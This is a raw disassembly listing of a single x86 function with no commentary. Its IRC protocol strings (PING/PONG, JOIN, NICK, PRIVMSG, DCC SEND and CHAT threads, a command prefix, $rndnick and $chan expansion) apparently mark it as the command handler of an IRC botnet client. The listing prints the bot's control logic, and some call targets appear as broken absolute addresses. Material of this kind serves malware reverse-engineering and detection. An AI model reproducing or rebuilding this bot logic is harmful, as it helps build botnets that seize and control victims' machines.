var_398 = byte ptr -398h
var_388 = byte ptr -388h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2EC = word ptr -2ECh
var_2EA = word ptr -2EAh
var_2E8 = dword ptr -2E8h
var_2DC = byte ptr -2DCh
var_DC = dword ptr -0DCh
var_D8 = byte ptr -0D8h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 15B0h
call sub_417B30
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
mov [ebp+var_C0], 3
mov [ebp+var_10], ebx
mov [ebp+var_AC], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_DC], ebx
call sub_417330
push 1Bh
lea eax, [ebp+var_928]
push [ebp+arg_10]
push eax
call sub_418C10
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_40F239
push esi
lea eax, [ebp+var_FB0]
push ebx
push eax
call sub_417330
dec esi
lea eax, [ebp+var_FB0]
push esi
push [ebp+arg_0]
push eax
call sub_418C10
lea eax, [ebp+var_FB0]
push offset asc_432E84 ; " :"
push eax
call sub_417880
mov [ebp+var_C], eax
lea eax, [ebp+var_FB0]
push esi
push eax
lea eax, [ebp+var_11B0]
push eax
call sub_418C10
mov esi, offset asc_42A3B4 ; " "
lea eax, [ebp+var_11B0]
push esi
push eax
call sub_418B6E
add esp, 34h
mov [ebp+var_94], eax
lea edi, [ebp+var_90]
mov [ebp+var_BC], 1Fh
loc_40EF45: ; CODE XREF: sub_40EE72+E7j
push esi
push ebx
call sub_418B6E
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_BC]
pop ecx
jnz short loc_40EF45
mov esi, [ebp+var_94]
cmp esi, ebx
jz loc_40F239
cmp [ebp+var_90], ebx
jz loc_40F239
push 100h
lea eax, [ebp+var_A28]
push ebx
push eax
call sub_417330
add esp, 0Ch
lea ecx, [ebp+var_18]
push 1Fh
pop edx
push 1
pop edi
loc_40EF93: ; CODE XREF: sub_40EE72+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_40EFBF
cmp byte ptr [eax], 2Dh
jnz short loc_40EFC7
cmp [eax+2], bl
jnz short loc_40EFC7
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_A28], 1
mov esi, [ebp+var_94]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40EFBF: ; CODE XREF: sub_40EE72+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_40EF93
loc_40EFC7: ; CODE XREF: sub_40EE72+12Aj
; sub_40EE72+12Fj
cmp [ebp+var_9B5], bl
jz short loc_40EFD2
mov [ebp+var_8], edi
loc_40EFD2: ; CODE XREF: sub_40EE72+15Bj
cmp [ebp+var_9BA], bl
jz short loc_40EFE0
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_40EFE0: ; CODE XREF: sub_40EE72+166j
cmp byte ptr [esi], 0Ah
jz short loc_40F01A
push 7Fh
lea eax, [ebp+var_AA8]
push esi
push eax
call sub_418C10
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_D8]
push eax
call sub_418C10
lea eax, [ebp+var_D8]
push offset asc_432E80 ; "!"
push eax
call sub_418B6E
add esp, 20h
loc_40F01A: ; CODE XREF: sub_40EE72+171j
push esi
push offset aPing ; "PING"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F06B
push [ebp+var_90]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_40D633
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40F10F
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 10h
jmp loc_40F10F
; ---------------------------------------------------------------------------
loc_40F06B: ; CODE XREF: sub_40EE72+1B7j
mov esi, [ebp+var_90]
push esi
push offset a001 ; "001"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4150D3
push esi
push offset a005 ; "005"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4150D3
push esi
push offset a302 ; "302"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F0D3
push offset a@ ; "@"
push [ebp+var_88]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40F10F
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_418C10
jmp short loc_40F10C
; ---------------------------------------------------------------------------
loc_40F0D3: ; CODE XREF: sub_40EE72+238j
push esi
push offset a433 ; "433"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F116
push ebx
push dword_4CD760
push dword_42F5CC
push [ebp+arg_10]
call sub_415D01
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40D633
loc_40F10C: ; CODE XREF: sub_40EE72+25Fj
add esp, 0Ch
loc_40F10F: ; CODE XREF: sub_40EE72+1D8j
; sub_40EE72+1F4j ...
mov eax, edi
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_40F116: ; CODE XREF: sub_40EE72+270j
mov esi, [ebp+arg_18]
mov [ebp+var_BC], 2
mov edi, 80h
loc_40F128: ; CODE XREF: sub_40EE72+2DBj
lea eax, [ebp+var_AA8]
push eax
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F145
mov [ebp+var_AC], 1
loc_40F145: ; CODE XREF: sub_40EE72+2C7j
add esi, edi
dec [ebp+var_BC]
jnz short loc_40F128
mov esi, [ebp+var_90]
push esi
push offset aKick ; "KICK"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F241
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 2
loc_40F174: ; CODE XREF: sub_40EE72+392j
cmp [esi], bl
jz loc_40F1FF
push 7Fh
lea eax, [ebp+var_AA8]
push esi
push eax
call sub_418C10
lea eax, [ebp+var_D8]
add esp, 0Ch
test eax, eax
jz short loc_40F1FF
cmp [ebp+var_88], ebx
jz short loc_40F1FF
push [ebp+var_88]
lea eax, [ebp+var_D8]
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F1FF
lea eax, [ebp+var_D8]
mov [esi], bl
push eax
lea eax, [ebp+var_2DC]
push offset dword_432E04
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_40D633
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
add esp, 14h
loc_40F1FF: ; CODE XREF: sub_40EE72+304j
; sub_40EE72+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_40F174
push [ebp+var_88]
push [ebp+arg_10]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F239
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40F22E: ; CODE XREF: sub_40EE72+618j
; sub_40EE72+978j
push [ebp+arg_4]
call sub_40D633
loc_40F236: ; CODE XREF: sub_40EE72+57D8j
; sub_40EE72+57F5j ...
add esp, 10h
loc_40F239: ; CODE XREF: sub_40EE72+5Bj
; sub_40EE72+F1j ...
push 1
loc_40F23B: ; CODE XREF: sub_40EE72+5CEBj
pop eax
loc_40F23C: ; CODE XREF: sub_40EE72+29Fj
; sub_40EE72+229Dj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40F241: ; CODE XREF: sub_40EE72+2F2j
push esi
push offset aNick ; "NICK"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F397
mov eax, [ebp+var_8C]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 2
mov [ebp+arg_24], eax
loc_40F26A: ; CODE XREF: sub_40EE72+44Aj
lea eax, [ebp+var_AA8]
push eax
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F2B7
lea eax, [ebp+var_AA8]
push 21h
push eax
call sub_418F50
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_40F2B7
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_4179C0
push [ebp+arg_1C]
push edi
call sub_4179D0
add esp, 10h
mov edi, 80h
loc_40F2B7: ; CODE XREF: sub_40EE72+409j
; sub_40EE72+420j
add esi, edi
dec [ebp+arg_0]
jnz short loc_40F26A
lea eax, [ebp+var_D8]
test eax, eax
jz loc_40F239
cmp [ebp+arg_24], ebx
jz loc_40F239
push [ebp+arg_10]
lea eax, [ebp+var_D8]
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F2FF
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_418C10
add esp, 0Ch
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40F2FF: ; CODE XREF: sub_40EE72+476j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40F304: ; CODE XREF: sub_40EE72+4B3j
cmp [edi], bl
jz short loc_40F31B
lea eax, [ebp+var_AA8]
push eax
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F32C
loc_40F31B: ; CODE XREF: sub_40EE72+494j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40F304
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40F32C: ; CODE XREF: sub_40EE72+4A7j
lea eax, [ebp+var_AA8]
push 21h
push eax
call sub_418F50
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_40F239
push eax
call sub_417AB0
push [ebp+arg_24]
mov edi, eax
call sub_417AB0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_40F239
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS_0 ; ":%s%s"
push esi
call sub_4172B0
push ebx
lea eax, [ebp+var_4C0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_40D679
add esp, 24h
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40F397: ; CODE XREF: sub_40EE72+3DEj
push esi
push offset aPart ; "PART"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F3B9
push esi
push offset aQuit ; "QUIT"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F3E0
loc_40F3B9: ; CODE XREF: sub_40EE72+534j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40F3BE: ; CODE XREF: sub_40EE72+56Cj
cmp [edi], bl
jz short loc_40F3D4
push [ebp+var_94]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F42E
loc_40F3D4: ; CODE XREF: sub_40EE72+54Ej
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40F3BE
loc_40F3E0: ; CODE XREF: sub_40EE72+545j
push [ebp+var_90]
push offset a353 ; "353"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F48F
push [ebp+var_84]
push [ebp+arg_8]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F417
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40F417: ; CODE XREF: sub_40EE72+59Aj
push [ebp+var_84]
push offset dword_432DA8
loc_40F422: ; CODE XREF: sub_40EE72+5B47j
; sub_40EE72+5E96j ...
call sub_40BFE1
pop ecx
loc_40F428: ; CODE XREF: sub_40EE72+5FABj
pop ecx
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40F42E: ; CODE XREF: sub_40EE72+560j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_2DC]
push offset dword_432D78
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
push [ebp+var_90]
push offset aPart ; "PART"
call sub_4176D0
add esp, 18h
test eax, eax
jnz loc_40F239
lea eax, [ebp+var_2DC]
push eax
mov eax, [ebp+var_94]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40F22E
; ---------------------------------------------------------------------------
loc_40F48F: ; CODE XREF: sub_40EE72+582j
push [ebp+var_90]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_4176D0
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40F4E3
push [ebp+var_90]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F4E3
push [ebp+var_90]
push offset dword_432D74
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_414F47
cmp dword_42F5B8, ebx
jz loc_414F47
loc_40F4E3: ; CODE XREF: sub_40EE72+637j
; sub_40EE72+649j
push [ebp+var_90]
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_40F66F
push [ebp+var_90]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_40F66F
mov eax, [ebp+var_88]
inc [ebp+var_84]
push 4
mov [ebp+var_8C], eax
pop esi
mov [ebp+var_C0], esi
loc_40F52A: ; CODE XREF: sub_40EE72+8B9j
; sub_40EE72+94Dj ...
shl esi, 2
mov eax, [ebp+esi+var_94]
lea edi, [ebp+esi+var_94]
push eax
push offset dword_432D6C
mov [ebp+arg_8], eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F96F
push [ebp+esi+var_90]
push offset aSend_0 ; "SEND"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F82A
cmp [ebp+var_AC], ebx
jz loc_40F800
push [ebp+esi+var_8C]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_6F4]
push edi
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_708]
push [ebp+esi+var_88]
push edi
push eax
call sub_4172B0
push [ebp+esi+var_84]
call sub_41781F
mov [ebp+var_570], eax
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push 7Fh
push eax
lea eax, [ebp+var_5F0]
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_5F0]
push eax
lea eax, [ebp+var_6F4]
push eax
lea eax, [ebp+var_2DC]
push offset dword_432D28
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 12h
push eax
call sub_416D5C
add esp, 1Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40C8B4
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz loc_40F7EF
loc_40F659: ; CODE XREF: sub_40EE72+7FBj
cmp [ebp+var_560], ebx
jnz loc_40F822
push 32h
nop
call near ptr 2610E88h
jmp short loc_40F659
; ---------------------------------------------------------------------------
loc_40F66F: ; CODE XREF: sub_40EE72+681j
; sub_40EE72+697j
push [ebp+var_90]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F688
mov [ebp+var_4], 1
loc_40F688: ; CODE XREF: sub_40EE72+80Dj
cmp [ebp+var_8C], ebx
jz loc_40F239
push (offset loc_4289A7+1)
push [ebp+var_8C]
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_40F6AF
cmp [ebp+var_4], ebx
jz short loc_40F6BB
loc_40F6AF: ; CODE XREF: sub_40EE72+836j
lea eax, [ebp+var_D8]
mov [ebp+var_8C], eax
loc_40F6BB: ; CODE XREF: sub_40EE72+83Bj
cmp [ebp+var_88], ebx
jz loc_40F239
inc [ebp+var_88]
jz short loc_40F707
cmp [ebp+arg_10], ebx
jz short loc_40F707
lea eax, [ebp+var_928]
push eax
call sub_417AB0
push eax
lea eax, [ebp+var_928]
push [ebp+var_88]
push eax
call sub_418DA0
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_C0], esi
jmp short loc_40F70D
; ---------------------------------------------------------------------------
loc_40F707: ; CODE XREF: sub_40EE72+85Bj
; sub_40EE72+860j
mov esi, [ebp+var_C0]
loc_40F70D: ; CODE XREF: sub_40EE72+893j
mov edi, [ebp+esi*4+var_94]
cmp edi, ebx
jz loc_40F239
push edi
push offset dword_432D1C
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F52A
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz short loc_40F7B0
mov eax, dword_4CD770
mov eax, off_42F6C8[eax*4]
cmp [eax], bl
jz short loc_40F7B0
push eax
push ecx
push offset dword_432D00
push [ebp+arg_4]
call sub_40D633
add esp, 10h
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_2DC]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
add esp, 10h
cmp [ebp+var_AC], ebx
jnz loc_40F239
push ebx
lea eax, [ebp+var_2DC]
push 1
push eax
push offset dword_4CD67C
loc_40F7A0: ; CODE XREF: sub_40EE72+58C1j
push [ebp+arg_4]
call sub_40D679
add esp, 14h
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40F7B0: ; CODE XREF: sub_40EE72+8C8j
; sub_40EE72+8D8j
push edi
push offset dword_432CDC
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F52A
mov eax, [ebp+esi*4+var_90]
cmp eax, ebx
jz loc_40F52A
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz loc_40F52A
push eax
push ecx
push offset dword_432CC4
jmp loc_40F22E
; ---------------------------------------------------------------------------
loc_40F7EF: ; CODE XREF: sub_40EE72+7E1j
nop
call near ptr 2660B07h
push eax
push offset dword_432C7C
jmp loc_40F95B
; ---------------------------------------------------------------------------
loc_40F800: ; CODE XREF: sub_40EE72+702j
lea eax, [ebp+var_D8]
push eax
push [ebp+esi+var_8C]
push offset dword_432C2C
loc_40F813: ; CODE XREF: sub_40EE72+6177j
; sub_40EE72+61DEj
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 10h
loc_40F822: ; CODE XREF: sub_40EE72+7EDj
; sub_40EE72+AB1j ...
push 1
pop esi
jmp loc_411100
; ---------------------------------------------------------------------------
loc_40F82A: ; CODE XREF: sub_40EE72+6F6j
push [ebp+esi+var_90]
push offset aChat ; "CHAT"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F985
cmp [ebp+var_AC], ebx
jz loc_40F94F
push 13h
call sub_416FA4
test eax, eax
pop ecx
jnz loc_40F941
push [ebp+esi+var_88]
lea eax, [ebp+var_708]
push offset aS_1 ; "%s"
push eax
call sub_4172B0
push [ebp+esi+var_84]
call sub_41781F
mov [ebp+var_570], eax
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push 7Fh
push eax
lea eax, [ebp+var_5F0]
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_2DC]
push offset dword_432BF4
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 13h
push eax
call sub_416D5C
add esp, 18h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40C351
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_40F933
loc_40F91D: ; CODE XREF: sub_40EE72+ABFj
cmp [ebp+var_560], ebx
jnz loc_40F822
push 32h
call near ptr 2610E88h
nop
jmp short loc_40F91D
; ---------------------------------------------------------------------------
loc_40F933: ; CODE XREF: sub_40EE72+AA9j
nop
call near ptr 2660B07h
push eax
push offset dword_432BB0
jmp short loc_40F95B
; ---------------------------------------------------------------------------
loc_40F941: ; CODE XREF: sub_40EE72+9E9j
lea eax, [ebp+var_D8]
push eax
push offset dword_432B70
jmp short loc_40F95B
; ---------------------------------------------------------------------------
loc_40F94F: ; CODE XREF: sub_40EE72+9D9j
lea eax, [ebp+var_D8]
push eax
push offset dword_432B30
loc_40F95B: ; CODE XREF: sub_40EE72+989j
; sub_40EE72+ACDj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
jmp loc_40F822
; ---------------------------------------------------------------------------
loc_40F96F: ; CODE XREF: sub_40EE72+6DBj
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_42F5C4
mov [edi], ecx
jnz loc_40F239
loc_40F985: ; CODE XREF: sub_40EE72+9CDj
mov edi, [edi]
mov [ebp+arg_8], edi
push edi
mov edi, offset aC_0 ; "c"
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414F4F
push [ebp+arg_8]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414F4F
cmp [ebp+var_AC], ebx
jnz short loc_40F9D5
push [ebp+var_90]
push offset dword_432D74
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_414F47
loc_40F9D5: ; CODE XREF: sub_40EE72+B47j
cmp [ebp+arg_28], ebx
jnz loc_414F47
xor edi, edi
cmp dword_42F794, ebx
jle loc_40FB81
mov [ebp+arg_20], offset dword_43FA70
loc_40F9F3: ; CODE XREF: sub_40EE72+BA0j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40FA19
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_42F794
jl short loc_40F9F3
jmp loc_40FB81
; ---------------------------------------------------------------------------
loc_40FA19: ; CODE XREF: sub_40EE72+B90j
push offset asc_432E84 ; " :"
push [ebp+arg_0]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz loc_40F239
mov cl, byte_42F5C4
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_42F5C4
mov [eax+3], cl
lea ecx, dword_43FA88[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_418C10
lea eax, [ebp+esi+var_54]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40FA6E: ; CODE XREF: sub_40EE72+CA4j
push [ebp+arg_20]
lea eax, [ebp+var_B8]
push offset aD_0 ; "$%d-"
push eax
call sub_4172B0
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_417880
add esp, 14h
test eax, eax
jz short loc_40FADA
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_40FADA
lea eax, dword_43FA70[edi]
push eax
call sub_417AB0
add [ebp+var_C], eax
pop ecx
jz short loc_40FB0C
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40FB0C
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A7D7
add esp, 0Ch
jmp short loc_40FB0C
; ---------------------------------------------------------------------------
loc_40FADA: ; CODE XREF: sub_40EE72+C24j
; sub_40EE72+C2Bj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_40FB0C
lea eax, [ebp+var_B8]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_418C10
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A7D7
add esp, 18h
loc_40FB0C: ; CODE XREF: sub_40EE72+C3Dj
; sub_40EE72+C51j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40FA6E
lea eax, [ebp+esi+var_54]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40FB29: ; CODE XREF: sub_40EE72+D03j
push [ebp+arg_20]
lea eax, [ebp+var_B8]
push offset aD ; "$%d"
push eax
call sub_4172B0
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_417880
add esp, 14h
test eax, eax
jz short loc_40FB6C
mov eax, [edi]
cmp eax, ebx
jz short loc_40FB6C
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A7D7
add esp, 0Ch
loc_40FB6C: ; CODE XREF: sub_40EE72+CDFj
; sub_40EE72+CE5j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40FB29
mov [ebp+var_DC], 1
loc_40FB81: ; CODE XREF: sub_40EE72+B74j
; sub_40EE72+BA2j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_42F5C4
jz short loc_40FB9A
cmp [ebp+var_DC], ebx
jz loc_40FD7F
loc_40FB9A: ; CODE XREF: sub_40EE72+D1Aj
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe_0 ; "$me"
push edi
call sub_40A7D7
lea eax, [ebp+var_D8]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_40A7D7
push [ebp+var_8C]
push offset aChan ; "$chan"
push edi
call sub_40A7D7
push ebx
push ebx
lea eax, [ebp+var_B8]
push 2
push eax
call sub_415D01
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_40A7D7
add esp, 40h
push [ebp+arg_14]
push offset aServer_0 ; "$server"
push edi
call sub_40A7D7
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_417880
add esp, 14h
loc_40FC0C: ; CODE XREF: sub_40EE72+E86j
test eax, eax
jz loc_40FCFD
push edi
push [ebp+arg_0]
call sub_417880
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_B8]
push eax
call sub_418C10
lea eax, [ebp+var_B8]
push offset asc_432AEC ; ")"
push eax
call sub_418B6E
add esp, 1Ch
cmp [ebp+var_B8], 30h
jl short loc_40FC58
cmp [ebp+var_B8], 39h
jle short loc_40FC6E
loc_40FC58: ; CODE XREF: sub_40EE72+DDBj
push 3
lea eax, [ebp+var_B8]
push offset a63 ; "63"
push eax
call sub_418C10
add esp, 0Ch
loc_40FC6E: ; CODE XREF: sub_40EE72+DE4j
lea eax, [ebp+var_B8]
push eax
call sub_41781F
test eax, eax
pop ecx
jle short loc_40FC91
lea eax, [ebp+var_B8]
push eax
call sub_41781F
pop ecx
mov [ebp+var_14], al
jmp short loc_40FCA2
; ---------------------------------------------------------------------------
loc_40FC91: ; CODE XREF: sub_40EE72+E0Bj
call sub_41730C
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_40FCA2: ; CODE XREF: sub_40EE72+E1Dj
lea eax, [ebp+var_B8]
mov [ebp+var_13], bl
push eax
call sub_417AB0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_B8]
push ebx
push eax
call sub_417330
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_B8]
push [ebp+arg_10]
push eax
call sub_418C10
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A7D7
push edi
push [ebp+arg_0]
call sub_417880
add esp, 30h
jmp loc_40FC0C
; ---------------------------------------------------------------------------
loc_40FCFD: ; CODE XREF: sub_40EE72+D9Cj
mov edi, 1FFh
lea eax, [ebp+var_FB0]
push edi
push [ebp+arg_0]
push eax
call sub_418C10
lea eax, [ebp+var_FB0]
push edi
push eax
lea eax, [ebp+var_11B0]
push eax
call sub_418C10
lea eax, [ebp+var_11B0]
push offset asc_42A3B4 ; " "
push eax
call sub_418B6E
add esp, 20h
mov [ebp+var_94], eax
lea edi, [ebp+var_90]
mov [ebp+arg_10], 1Fh
loc_40FD4D: ; CODE XREF: sub_40EE72+EF0j
push offset asc_42A3B4 ; " "
push ebx
call sub_418B6E
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40FD4D
